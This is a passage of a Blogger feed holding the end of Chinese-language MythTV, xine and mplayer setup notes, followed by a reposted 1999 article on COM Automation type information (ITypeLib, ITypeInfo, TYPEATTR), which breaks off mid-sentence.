myth-frontend 自動執行，首先要確定有安裝 sudo，接著如下&lt;br /&gt;執行 dpkg-reconfigure xserver-common，改為 Anybody&lt;br /&gt;cd /home/backup/mythtv&lt;br /&gt;cp .xinitrc /home/mythtv/&lt;br /&gt;cp init-frontend.sh /home/mythtv/&lt;br /&gt;mkdir /home/mythtv/logs&lt;br /&gt;cp /home/backup/mythtv/mythtv-frontend /etc/init.d/&lt;br /&gt;chmod 755 /etc/init.d/mythtv-frontend&lt;br /&gt;update-rc.d mythtv-frontend defaults 30&lt;br /&gt;chown -R mythtv.mythtv /home/mythtv&lt;br /&gt;&lt;br /&gt;36.確定 /dev/lirc 權限,執行 chmod 666 /dev/lirc*&lt;br /&gt;&lt;br /&gt;37.參考網站 http://moto.debian.org.tw/viewtopic.php?p=42973&amp;amp;highlight=#42973，安裝幾個 patch 套件&lt;br /&gt;&lt;br /&gt;38.將 mythdvd 的設定從 mplayer 改為 xine -pfhq --no-splash dvd://&lt;br /&gt;(mplayer 不支援 DVD選單，xine支援，因此將 MythVIDEO 改使用 xine 播放)&lt;br /&gt;&lt;br /&gt;39.執行 vigr 和 vigr -s 將 mythtv 加入 cdrom,plugdev,dialout,floppy(原則上和media群組相同)&lt;br /&gt;&lt;br /&gt;40.讓 XINE 支援中文字幕&lt;br /&gt;複製字型 cp /home/backup/cwyen-* /usr/share/xine/libxine1/fonts/&lt;br /&gt;複製字型 cp /home/backup/newsung-* /usr/share/xine/libxine1/fonts/&lt;br /&gt;修改 ~/.xine/config 裡面的 subtitles.separate.font:sans，將 sans 改為 cwyen 或 newsung&lt;br /&gt;&lt;br /&gt;41.安裝套件 ntpdate，修改 /etc/default/ntpdate 裡面的 Server 為 ntp.ntu.edu.tw&lt;br /&gt;&lt;br /&gt;42.Mythtv的電視的聲音設定&lt;br /&gt;確定 .xinitrc 裡面有 v4lctl volume mute off&lt;br /&gt;用 alsamixer 改聲音，按『Tab』切換到錄音，接著移到 AUX，按『SPACE』選取為錄音來源，接著移到 Capture 將它調到最大即可&lt;br /&gt;(DiGiMatrix 的電視卡是由 AUX 輸出的，而 Mythtv 的電視功能是即時錄影，因此我們設定錄音來源為 AUX，然後將錄音的音量調到最大即可)&lt;br /&gt;&lt;br /&gt;43.設定 mplayer&lt;br /&gt;(/etc/mplayer/mplayer.conf修改如下)&lt;br /&gt;=============================================&lt;br /&gt;### mplayer DEBCONF AREA. DO NOT EDIT THIS AREA OR INSERT TEXT BEFORE IT.&lt;br /&gt;# MPlayer video output driver, configured by mplayer.deb&lt;br /&gt;vo=xv&lt;br /&gt;&lt;br /&gt;### END OF DEBCONF AREA.  PLACE YOUR EDITS BELOW; THEY WILL BE PRESERVED.&lt;br /&gt;subfont-encoding=unicode&lt;br /&gt;subcp=big5&lt;br /&gt;unicode=yes&lt;br /&gt;zoom=yes&lt;br /&gt;stop-xscreensaver=yes&lt;br /&gt;=============================================&lt;br /&gt;(在 ~/.mplayer/ 要 link 字型進去,link 成 ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf subfont.ttf)&lt;br /&gt;&lt;br /&gt;44.MythVideo影片關聯問題&lt;br /&gt;MythVideo 對於 VIDEO_TS 這種 DVD 資料夾(EX：電車男/VIDEO_TS)的判斷是有點問題的，&lt;br /&gt;解決方法是，將 VIDEO_TS 的資料夾改名，並且幫它設定一個關聯，例如：&lt;br /&gt;&lt;br /&gt;電車男/VIDEO_TS&lt;br /&gt;&lt;br /&gt;改為&lt;br /&gt;&lt;br /&gt;電車男.DVD/VIDEO_TS&lt;br /&gt;&lt;br /&gt;然後設定一個 DVD 的新檔案類型，使用特定撥放 command，要注意，要記得把什麼 use default 的勾掉&lt;br /&gt;&lt;br /&gt;45.讓 xine 和 mplayer 支援遙控器控制&lt;br /&gt;mplayer 對遙控器的訊息比較明確，至少它會有&lt;br /&gt;&lt;br /&gt;Setting up LIRC support...&lt;br /&gt;&lt;br /&gt;這樣的訊息告訴你遙控器連結是否正確，xine 則似乎不大甩你......&lt;br /&gt;&lt;br /&gt;設定上，和 mythtv 的遙控器設定相同，要設定 lircrc 的檔案，&lt;br /&gt;mythtv 會吃 ~/.mythtv/lircrc&lt;br /&gt;而 mplayer 和 xine 則會吃 ~/.lircrc&lt;br /&gt;&lt;br /&gt;因此常見的做法是使用 ln -s ~/.mythtv/lircrc ~/.lircrc&lt;br /&gt;&lt;br /&gt;將兩個檔案 link 起來..........&lt;br /&gt;&lt;br /&gt;而 xine 比較方便一點的地方是，它可以幫你產生 lircrc 的檔案內容，你再自己改即可，&lt;br /&gt;xine --keymap=lirc&lt;br /&gt;&lt;br /&gt;它便會產生一大串，我們可以使用&lt;br /&gt;xine --keymap=lirc &gt;&gt; ~/.lircrc&lt;br /&gt;&lt;br /&gt;將它貼進原本 mythtv 的 lircrc 中......&lt;br /&gt;&lt;br /&gt;之後設定和前面雷同，修改內容，&lt;br /&gt;把 button 改成 /etc/lircd.conf 中遙控器按鍵的設定名稱(大小寫要相同)(xine 中的 button 預設是 xxxxx)。&lt;br /&gt;而這邊要注意的是，xine 預設的 lircrc 有個叫 remote 的參數，預設也是 xxxxx。&lt;br /&gt;remote 似乎是其他電腦控制這台電腦的 xine 用的，它似乎要搭配 xine-remote 使用。&lt;br /&gt;這邊要填的，可能是電腦的 IP，不過我沒試過，在這邊我們使用上，務必要把 remote 整個拿掉，&lt;br /&gt;否則反而會讓所有按鍵都沒作用.......&lt;br /&gt;&lt;br /&gt;mplayer 的按鍵設置相同，也是 ~/.lircrc，這邊設置上，&lt;br /&gt;則是要參考 input.conf 的內容和 mplayer -input cmdlist 指令，&lt;br /&gt;input.conf 應該會是在 /usr/share/doc/mplayer/examples/input.conf&lt;br /&gt;&lt;br /&gt;可以使用 locate 查看看.......&lt;br /&gt;&lt;br /&gt;設定時大致如下，&lt;br /&gt;begin&lt;br /&gt;       button = vol+&lt;br /&gt;       prog   = mplayer&lt;br /&gt;       repeat = 2&lt;br /&gt;       config = volume 1&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;按鍵對應到 /etc/lircd.conf 中遙控器的按鍵名稱，&lt;br /&gt;程式對應到 mplayer&lt;br /&gt;repeat 看情況設置，原則上，在遇到像是大小聲這類要按著不放的控制時，才需要設置這個數值，而值愈大，反應越慢&lt;br /&gt;config 是重點，要對應 input.conf，然後填入後面控制的參數，以上面得例子，在 input.conf 中是，&lt;br /&gt;0 volume 1&lt;br /&gt;* volume 1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-76866258194778010?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ycfunet.blogspot.com/2006/04/digimatrixmythtvfreevo.html' title='阿呆的blog: DiGiMatrix與MythTV、Freevo'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/76866258194778010/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=76866258194778010' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/76866258194778010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/76866258194778010'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/blog-digimatrixmythtvfreevo.html' title='阿呆的blog: DiGiMatrix與MythTV、Freevo'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-151106364163101431</id><published>2008-11-10T00:54:00.000-08:00</published><updated>2008-11-10T00:54:52.196-08:00</updated><title type='text'>COM Automation: Type Information (II)</title><content type='html'>&lt;a href="http://spec.winprog.org/typeinf2/"&gt;COM Automation: Type Information (II)&lt;/a&gt;&lt;br /&gt; &lt;p align="center"&gt; &lt;/p&gt;  &lt;table border="0" cellpadding="3" cellspacing="0" width="100%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="33%"&gt;&lt;big&gt;&lt;big&gt;&lt;strong&gt;Sean Baxter&lt;/strong&gt;&lt;/big&gt;&lt;/big&gt;&lt;/td&gt;     &lt;td width="33%"&gt;&lt;p align="center"&gt;&lt;strong&gt;&lt;big&gt;&lt;big&gt;COM Automation:&lt;/big&gt;&lt;/big&gt;&lt;br /&gt;    &lt;big&gt;&lt;big&gt;Type Information (Part II)&lt;/big&gt;&lt;/big&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td width="34%"&gt;&lt;p align="right"&gt;&lt;big&gt;&lt;big&gt;&lt;strong&gt;1999&lt;/strong&gt;&lt;/big&gt;&lt;/big&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt; &lt;/p&gt;  &lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="25%"&gt;&lt;br /&gt;&lt;/td&gt;     &lt;td width="25%"&gt;&lt;br /&gt;&lt;/td&gt;     &lt;td bg width="25%" style="color:#000080;"&gt;&lt;p align="right"&gt;&lt;span style="font-family:Arial;color:#ffffff;"&gt;&lt;big&gt;Type     Info Motivations  &lt;/big&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td width="25%"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;COM is the most ambitious software technology of all time.  As the universally recognized protocol for interoperable software, COM has standardized client-server communication.  COM Automation provides the foundation for truly language-independent code distribution.  Development platforms implementing the Automation controller mechanisms can connect to any Automation server, putting millions upon millions of lines of tested and reliable code at every programmer's fingertips.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;COM Type Information, the driving force responsible for this great interoperability between client and server, is the result of a mad programmer's eugenics project.  "Let's take a C++ header file," the mad programmer mused, "and make it elite."  The mad programmer made a list of the things that C++ headers define or declare:&lt;/span&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;blockquote&gt;     &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Constants / Enumerations&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Structures&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Unions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Typedefs&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Functions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Classes&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;/blockquote&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;These are undeniably the building blocks of all applications.  The mad programmer did not necessarily seek to improve these basic types; instead he constructed a radically new implement to their delivery.  Throwing pots and pans, the mad programmer shouted "Away with ye, blasted header files!"  He recognized these sorrowful limitations about C++ header files:&lt;/span&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;blockquote&gt;     &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;They must be distributed externally from their libraries.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;They must be compiled with the client code; no runtime resolution is         supported.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Distributing header files may reveal implementation details, such as         class data members.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Headers affinity to a particular compiler; allowing non-standard         extensions prevents other compilers from using the headers and compiled code.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Their textual representation makes it difficult to display them in         type information browsers.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;C++ functions do not support location transparency; only clients in         the same process may invoke them.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;It's not possible to define symbols for more than one language; you         are stuck with one set of identifiers, be them in Greek, Latvian, Canadian, English,         Swahili, or sign language.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;All identifiers are required to be unique.  Including two         headers both with a &lt;strong&gt;Foo&lt;/strong&gt; identifier will wreak havoc.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Most importantly: C++ headers only work with C++ clients!&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;/blockquote&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;These are truly appaling deficiencies.  This lack of langauge and location transparency makes conventional headers innapropriate as the type information mechanism for component development.  The mad programmer remedied all of these problems with COM Type Information.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The first thing he did was get rid of the text file.  COM Type Information is stored in binary type libraries.  These type libraries are opaque data; there is no benefit to directly working with these files.  Why is this important?   Implementors never need to write a type information parser for their Automation controllers.  Instead, the COM runtime library provides a number of mechanisms for loading a type library (&lt;strong&gt;LoadTypeLib&lt;/strong&gt;, &lt;strong&gt;LoadRegTypeLib&lt;/strong&gt;, &lt;strong&gt;IProvideClassInfo::GetClassInfo&lt;/strong&gt; and &lt;strong&gt;IDispatch::GetTypeInfo&lt;/strong&gt; are most common) and providing the information contained within through the interfaces &lt;strong&gt;ITypeInfo&lt;/strong&gt; and &lt;strong&gt;ITypeLib&lt;/strong&gt;.   This eliminates the language dependency inherent in C++ headers.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;All methods parameterized in COM type libraries are part of a COM interface (with one minor exception we'll get to in a bit).  The client can communicate with a remote server by way of a proxy object which implements the requested interface.  This capability capitalizes on the virtual function call indirection, where an interface pointer of type &lt;strong&gt;IFoo&lt;/strong&gt; may in reality point to a pointer to an instance of the &lt;strong&gt;_IFooProxyVtbl&lt;/strong&gt; vtable.  Each slot in this vtable points to a remoting function.  So, for example, invoking a method &lt;strong&gt;IFoo::Hello&lt;/strong&gt; could very likely delegate to a remoting function &lt;strong&gt;_IFoo_Hello_Proxy&lt;/strong&gt;.  Thanks to COM interfaces, life is good.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;But wait!  What if someone specifies method parameters which aren't remotable?  Windows API has many types with process-affinity.  The HDC is a pointer to opaque data describing a window or in-memory device context.  Clearly any HDC is meaningless to remote machines.  It's even meaningless to other processes; hence why controls that implement &lt;strong&gt;IViewObject&lt;/strong&gt; are all in-proc servers (&lt;strong&gt;IViewObject::Draw&lt;/strong&gt; takes two HDC parameters).  Non-remotable types abound, and COM servers should avoid using them as function parameters unless they play some critical role.  Our mad programmer friend, every bit the genius, made provisions to COM Type Information to prevent these unwanted non-remotable types from creeping into interface methods.  You can define an interface to support only "Automation-compatible types."  By no means of coincidence, the Automation-compatible types are the very same types which can be stored in a VARIANT.  They are all, of course, remotable types.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Think about calling methods of dispatch interfaces.  You resolve the DISPID of whatever method with &lt;strong&gt;IDispatch::GetIDsOfNames&lt;/strong&gt;, and call the method by passing the DISPID to &lt;strong&gt;IDispatch::Invoke&lt;/strong&gt;.  If the method takes parameters, you need to instantiate a DISPPARAMS structure and load the contained VARIANTARG array with your method arguments.  Whoa, a VARIANTARG array.   VARIANTARG is identical to VARIANT, but it takes parameters by reference as well as by value (to allow [out] parameters).  Since all VARIANT types are Automation-compatible types (as stated above), all parameters passed to a method through &lt;strong&gt;IDispatch::Invoke&lt;/strong&gt; are also Automation-compatible types.  By extension, any interface which supports dispatch calls to its methods (dispatch interfaces and dual interfaces) are Automation-compatible.  By utilizing interfaces and mandating Automation-compatible types, COM has solved the location transparency problem in an elegant fashion.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Next on the table: identifier uniqueness.  C++ fails miserably here.   The language just isn't capable of producing truly component-oriented software without some help from COM.  The items contained in COM type libraries have their own GUIDs.  The identifier names are really just a convience; COM software works with the GUIDs internally to avoid name collisions.  And what about support of multiple languages?  You can further differentiate between type libraries by means of the &lt;strong&gt;lcid&lt;/strong&gt;, or locale identifier.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;As I've stated before, COM is a protocol for interoperable software.  You don't need to worry about the vendor of one type library issuing non-standard extensions.  With COM, you can feel safe that no one is pulling the rug out from under you with slop like &lt;strong&gt;#pragma&lt;/strong&gt; and &lt;strong&gt;_declspec&lt;/strong&gt;.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Finally, the remaining item on our list, "C++ headers must be distributed externally from their libraries," has been solved with COM Type Information.  The &lt;strong&gt;CreateTypeLib&lt;/strong&gt; API (and tools which encapsulate it, like MIDL) produce binary TLB files.  As demonstrated in Part I, these type libraries can be added to your project as a resource; &lt;strong&gt;LoadTypeLib&lt;/strong&gt; has no trouble plucking the type library resource out of a distributable.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Clearly, COM Type Information is a powerful system.  Unfortunately, our mad programmer isn't called "mad" for nothing.  &lt;strong&gt;ITypeLib&lt;/strong&gt; and &lt;strong&gt;ITypeInfo&lt;/strong&gt;, the COM-provided interfaces for pulling meaningful information from the opaque type library data, are a touch on the nasty side.  Actually the recursive definitions of some of the type description structures is downright bizarre.  The mad programmer is scheduled to appear in front of a war tribunal for this crime against humanity.  Renowned COM-guy &lt;a href="http://www.develop.com/dbox/"&gt;Don Box&lt;/a&gt; has even ranked &lt;strong&gt;ITypeInfo&lt;/strong&gt; as his number two least favorite interface (only topped by another Automation interface, &lt;strong&gt;IDispatch&lt;/strong&gt;).   While Microsoft deserves some ghastly punishment for these interfaces (perhaps a week of Chinese water torture for the executives.  Or some heavy DOJ action.   Hell - just force Bill and Steve to watch the Frank and Kathy Lee Christmas Special... twice!), we can't change &lt;strong&gt;ITypeLib&lt;/strong&gt; and &lt;strong&gt;ITypeInfo&lt;/strong&gt;.  The only thing to do is grit your teeth and dive in.&lt;/span&gt;&lt;/p&gt;  &lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="25%"&gt;&lt;br /&gt;&lt;/td&gt;     &lt;td width="25%"&gt;&lt;br /&gt;&lt;/td&gt;     &lt;td bg width="25%" style="color:#000080;"&gt;&lt;p align="right"&gt;&lt;span style="font-family:Arial;color:#ffffff;"&gt;&lt;big&gt;The     Interfaces  &lt;/big&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td width="25%"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Before we start our exploration of the deep, dark, spooky crevices of the &lt;strong&gt;ITypeLib&lt;/strong&gt; and &lt;strong&gt;ITypeInfo&lt;/strong&gt; interfaces, let's find out what exactly can be parameterized in a COM type library.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table border="0" cellpadding="3" cellspacing="0" width="50%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;table border="0" cellpadding="3" cellspacing="0" width="100%"&gt;       &lt;tbody&gt;&lt;tr&gt;         &lt;td valign="top" width="50%"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Constants / Enumerations&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Structures&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Unions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Typedefs&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Functions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Classes&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;         &lt;/td&gt;         &lt;td valign="top" width="50%"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Enumerations&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Structures&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Unions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Typedefs&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Interfaces&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Coclasses&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Arial;"&gt;Modules&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;         &lt;/td&gt;       &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt;     &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td width="100%"&gt;&lt;p align="center"&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;Figure 1&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The left column comprises the items that can be defined in a C++ header file.   The items in the right column are what you can define a COM type library.   Nearly everything you can define in a C++ header you can define as COM Type Information.  While you don't see "Functions" on the COM side of the table, an interface is essentially a group functions.  Nothing surprising there.  The only other differnce in &lt;strong&gt;Figure 1&lt;/strong&gt; is the existance of a "Modules" item for COM type libraries.  A module is a collection of miscellaneous items, inclunding constants and non-member functions.  I strongly suggest avoiding modules altogether.  While they afford some additional flexibility for your project, they cause more problems than they're worth.  Many Automation controllers don't work with modules at all; so their usefulness is pretty limited.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;While you can produce type libraries with the &lt;strong&gt;ICreateTypeLib&lt;/strong&gt; and &lt;strong&gt;ICreateTypeInfo&lt;/strong&gt; interfaces obtained from &lt;strong&gt;CreateTypeLib&lt;/strong&gt;, using MIDL (or the tool supplied by your particular development platform) is a better idea.  In addition to providing a clean, C-like syntax for defining type libraries, MIDL can generate marshalling code for custom interfaces.  Construction of a comparable tool would be a massive undertaking.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;So without further ado, we begin our tour of COM Type Information.  Having a few instances of the MSDN help open is highly recommended.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;You are an Automation controller and are handed an &lt;strong&gt;IDispatch&lt;/strong&gt; interface pointer.  Your job is to present a list of the object's methods and properties to the user, who, if it weren't for a single pane of strategically placed glass, would be strangling you out of coding frustration.  Don't screw up.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;IDispatch::GetTypeInfoCount&lt;/strong&gt;(&lt;strong&gt;UINT* pctinfo&lt;/strong&gt;) is the place to start.  This function's [out] argument indicates if the object provides type information.  If after the call &lt;strong&gt;pctinfo&lt;/strong&gt; holds 1, your object supports type information; otherwise you are out of luck.  Obtaining an &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer for the dispatch interface is incredibly easy - just invoke &lt;strong&gt;IDispatch::GetTypeInfo&lt;/strong&gt;.  The first parameter, &lt;strong&gt;UINT iTInfo&lt;/strong&gt; is fairly worthless.  You will always pass 0, requesting type information for the &lt;strong&gt;IDispatch&lt;/strong&gt; interface (you aren't sure that any other interfaces even exist at this point).  We have an &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer.  Now what?&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;A cursory inspection of &lt;strong&gt;ITypeInfo&lt;/strong&gt; shows that this interface supports the methods of &lt;strong&gt;IDispatch&lt;/strong&gt;.  It's likely that the &lt;strong&gt;IDispatch&lt;/strong&gt; methods exposed to the client actually delegate to the &lt;strong&gt;ITypeInfo&lt;/strong&gt; implementations, as demonstrated in Part I.  The first thing you'll want to do when presented with a new &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer is get its type attributes; call &lt;strong&gt;ITypeInfo::GetTypeAttr()&lt;/strong&gt;.   Notice that &lt;strong&gt;GetTypeAttr&lt;/strong&gt; takes not a pointer to a &lt;strong&gt;TYPEATTR&lt;/strong&gt; structure, but a pointer to a pointer.  It's an [out] parameter.  The server allocates the space for the structure, so you are responsible for freeing it by invoking &lt;strong&gt;ITypeInfo::ReleaseTypeAttr&lt;/strong&gt;.   &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bg border="0" cellpadding="0" cellspacing="3" width="85%" style="color:#f2f2f2;"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;strong&gt;&lt;small&gt;from OAIDL.IDL&lt;/small&gt;&lt;/strong&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;struct&lt;/span&gt;     tagTYPEATTR {&lt;br /&gt;        GUID guid;                              &lt;span style="color:#007d0a;"&gt;/* the GUID of the TypeInfo */&lt;/span&gt;&lt;br /&gt;        LCID lcid;                              &lt;span style="color:#007d0a;"&gt;/* locale of member names and doc strings */&lt;/span&gt;&lt;br /&gt;        DWORD dwReserved;&lt;br /&gt;        MEMBERID memidConstructor;&lt;span style="color:#007d0a;"&gt;          /* ID of constructor, MEMBERID_NIL if none */&lt;/span&gt;&lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;    MEMBERID memidDestructor;           &lt;span style="color:#007d0a;"&gt;/* ID of destructor, MEMBERID_NIL if     none */&lt;/span&gt;&lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;    LPOLESTR lpstrSchema;&lt;br /&gt;        ULONG cbSizeInstance;               &lt;span style="color:#007d0a;"&gt;/* the size     of an instance of this type */&lt;/span&gt;&lt;br /&gt;        TYPEKIND typekind;                  &lt;span style="color:#007d0a;"&gt;/* the kind of type this typeinfo describes */&lt;/span&gt;&lt;br /&gt;        WORD cFuncs;                            &lt;span style="color:#007d0a;"&gt;/* number of functions */&lt;/span&gt;&lt;br /&gt;        WORD cVars;                             &lt;span style="color:#007d0a;"&gt;/* number of variables / data members */&lt;/span&gt;&lt;br /&gt;        WORD cImplTypes;                    &lt;span style="color:#007d0a;"&gt;/* number of implemented interfaces */&lt;/span&gt;&lt;br /&gt;        WORD cbSizeVft;                         &lt;span style="color:#007d0a;"&gt;/* the size of this types virtual func table */&lt;/span&gt;&lt;br /&gt;        WORD cbAlignment;                   &lt;span style="color:#007d0a;"&gt;/* specifies the alignment requirements for&lt;br /&gt;                                               an instance of this type,&lt;br /&gt;                                               0 = align on 64k boundary&lt;br /&gt;                                               1 = byte align&lt;br /&gt;                                               2 = word align&lt;br /&gt;                                               4 = dword align... */&lt;/span&gt;&lt;br /&gt;        WORD wTypeFlags;&lt;br /&gt;        WORD wMajorVerNum;                  &lt;span style="color:#007d0a;"&gt;/* major version number */&lt;/span&gt;&lt;br /&gt;        WORD wMinorVerNum;                  &lt;span style="color:#007d0a;"&gt;/* minor version number */&lt;/span&gt;&lt;br /&gt;        TYPEDESC tdescAlias;                &lt;span style="color:#007d0a;"&gt;/* if     typekind == TKIND_ALIAS this field&lt;br /&gt;                                               specifies the type for which this type&lt;br /&gt;                                               is an alias */&lt;/span&gt;&lt;br /&gt;        IDLDESC idldescType;                &lt;span style="color:#007d0a;"&gt;/* IDL     attributes of the described type */&lt;/span&gt;&lt;br /&gt;    } TYPEATTR, * LPTYPEATTR;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Don't let the size of this thing scare you!  It's one of the simpler structures in the Type Information API.  The GUID of &lt;strong&gt;TYPEATTR&lt;/strong&gt; is the identifier of whatever the invoked &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer describes.  As we'll study later, &lt;strong&gt;ITypeInfo&lt;/strong&gt; describes more than just interfaces.  Since this &lt;strong&gt;TYPEATTR&lt;/strong&gt; describes the &lt;strong&gt;IDispatch&lt;/strong&gt; interface of an object (you &lt;strong&gt;CoCreateInstance&lt;/strong&gt;d for &lt;strong&gt;IID_IDispatch&lt;/strong&gt; did you not?), it would be logical that &lt;strong&gt;TYPEATTR::guid&lt;/strong&gt; equals &lt;strong&gt;IID_IDispatch&lt;/strong&gt;.   Right?  Well, actually no.  This GUID is the 